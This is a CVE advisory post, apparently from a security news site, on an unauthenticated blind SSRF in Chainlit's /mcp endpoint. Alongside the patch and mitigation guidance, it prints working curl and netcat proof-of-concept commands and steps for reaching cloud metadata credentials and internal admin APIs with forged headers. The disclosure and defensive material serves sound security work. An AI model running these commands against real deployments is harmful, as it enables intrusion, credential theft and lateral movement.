Listen to this Post
The vulnerability resides in the `/mcp` endpoint of Chainlit when the MCP (Model Context Protocol) feature is enabled via `features.mcp.enabled = true` in .chainlit/config.toml. This endpoint, designed to accept user‑supplied SSE or streamable‑HTTP transport configurations, takes a `url` field and an optional `headers` dictionary from the request body without any validation. The backend, specifically the `connect_mcp` handler in backend/chainlit/server.py, passes these values directly to the MCP SDK’s `sse_client()` or `streamablehttp_client()` functions, which then initiate outbound HTTP requests from the server to the attacker‑controlled destination.
An unauthenticated attacker can thus force the Chainlit server to send requests to any arbitrary URL, including internal IP addresses (e.g., 127.0.0.1, 169.254.169.254 for cloud metadata) and internal services, with fully attacker‑controlled headers such as Authorization, Cookie, or custom proprietary headers. This is a blind SSRF – the server makes the request but the response body is consumed internally by the MCP client and never echoed back to the attacker. Nevertheless, the ability to control both the destination and the HTTP headers is powerful enough to perform internal service discovery, port scanning, and, more critically, to issue authenticated state‑changing requests to internal APIs (e.g., POST requests with forged tokens) without needing to read the response. This effectively turns the blind SSRF into a vector for privilege escalation within the internal network.
The vulnerable code path has existed since MCP support was introduced in v2.4.0rc0 (PR 1977). The ability to forward attacker‑controlled headers was added later in v2.6.4 (PR 2292), which amplified the risk. All versions from 2.4.0rc0 up to (but not including) 2.12.0 are affected if MCP is enabled. MCP is disabled by default from v2.7.0 onward, so only custom deployments that explicitly enabled it are at risk. The `POST /mcp` endpoint does not require authentication, making it reachable by any client that can establish a Socket.IO session. The maintainers have released version 2.12.0 on 2026‑08‑25 which introduces an opt‑in allowlist‑based model, URL validation, and restricted header stripping. The patch also fixes two allowlist bypass issues related to HTTP redirects and SSE endpoint redirection. For those unable to upgrade immediately, workarounds include disabling MCP, restricting egress network access, or adding an authentication callback to require a valid session before accessing /mcp.
DailyCVE Form:
Platform: Chainlit
Version: 2.4.0rc0‑2.11.x
Vulnerability: SSRF
Severity: High
date: 2026‑08‑25
Prediction: Patched Aug 25
What Undercode Say:
Below are the essential Bash commands and code snippets from the advisory that demonstrate the attack vector and server‑side behaviour.
Start a local listener to capture the server's outbound request
nc -lvp 4445
Obtain a Socket.IO session ID
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
Establish a session (required for subsequent /mcp calls)
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'
Trigger the SSRF to the listener, with attacker‑controlled headers
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "ssrf",
"clientType": "streamable-http",
"name": "probe",
"url": "http://127.0.0.1:4445/internal-admin",
"headers": {
"Authorization": "Bearer attacker-controlled-token",
"X-Internal-Secret": "exfiltrated",
"Cookie": "session=hijacked"
}
}'
The listener will then receive a request like:
POST /internal-admin HTTP/1.1 Host: 127.0.0.1:4445 Authorization: Bearer attacker-controlled-token X-Internal-Secret: exfiltrated Cookie: session=hijacked
This confirms that the server forwards the user‑supplied URL and headers without modification.
Exploit: (Educational Purposes!)
An attacker can exploit this vulnerability by performing the following steps:
1. Obtain a valid Socket.IO session – as shown above, using the polling transport to acquire a sid.
2. Bind that session – send a `40` message to associate the session with a dummy sessionId.
3. Craft a malicious POST to `/mcp` – set `clientType` to either `”sse”` or "streamable-http", provide a target URL pointing to an internal resource (e.g., cloud metadata endpoint http://169.254.169.254/latest/meta-data/`), and include any desired headers (e.g.,Authorization: Bearer …).Authorization
4. Observe – while the response is not returned, the server will make the outbound request. The attacker can:
- Probe internal services – use different ports and paths to discover services.
- Access cloud metadata – retrieve IAM credentials if IMDSv1 is used (though IMDSv2 requires token exchange, the attacker can still issue PUT requests via headers).
- Perform state‑changing actions – by crafting POST requests to internal admin interfaces with forged authentication headers, e.g., creating users, modifying configurations, or triggering deployments.
The attack is entirely unauthenticated, requiring only network access to the Chainlit instance. No special privileges are needed.
<h2 style="color: blue;">Protection: from this CVE</h2>
- Immediate upgrade to Chainlit 2.12.0 (released 2026‑08‑25). This version introduces a strict allowlist model for user‑provided MCP servers. To enable, set `features.mcp.user_servers.enabled = true` and define `allowed_urls` with explicit HTTP/HTTPS patterns. Outbound requests are rejected unless the URL matches the allowlist.
- If you cannot upgrade immediately:
- Disable MCP entirely by setting `features.mcp.enabled = false` in `.chainlit/config.toml` – this blocks the vulnerable endpoint.
- Restrict outbound network egress from the Chainlit host using firewall rules (e.g., block access to private IP ranges, 169.254.169.254, and internal subnets).
- Implement an authentication callback so that `/mcp` requires a valid session – this does not eliminate the SSRF for authenticated users but removes the unauthenticated attack vector.
- After upgrading to 2.12.0, note the residual risks:
- If no authentication is configured, `/mcp` remains reachable anonymously. An anonymous client can still drive outbound requests to any URL on the `allowed_urls` allowlist (with its own `Authorization` header).
- The allowlist is hostname‑based; no private‑IP or IP‑literal blocking is applied – a DNS name resolving to an internal IP is not rejected.
- Header filtering is a denylist; a future version may implement an allowlist for headers.
<h2 style="color: blue;">Impact:</h2>
High – An unauthenticated attacker can force the Chainlit server to make arbitrary outbound HTTP requests to internal or external targets, with complete control over the HTTP headers. Although the SSRF is blind (response not returned), the attacker can:
- Discover internal services via port scanning and path probing.
- Access cloud metadata endpoints (e.g., AWS IMDSv1) to exfiltrate temporary credentials.
- Perform authenticated actions on internal APIs by injecting forged,Cookie`, or other headers – enabling privilege escalation, data tampering, and lateral movement within the internal network.
– Bypass network segmentation by using the Chainlit server as a pivot into internal systems that are not directly exposed.
The vulnerability affects any Chainlit deployment where MCP is enabled, regardless of authentication status, and requires no user interaction. The patch introduces significant hardening, but the residual risks described above mean that careful configuration is still required to fully secure the deployment.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

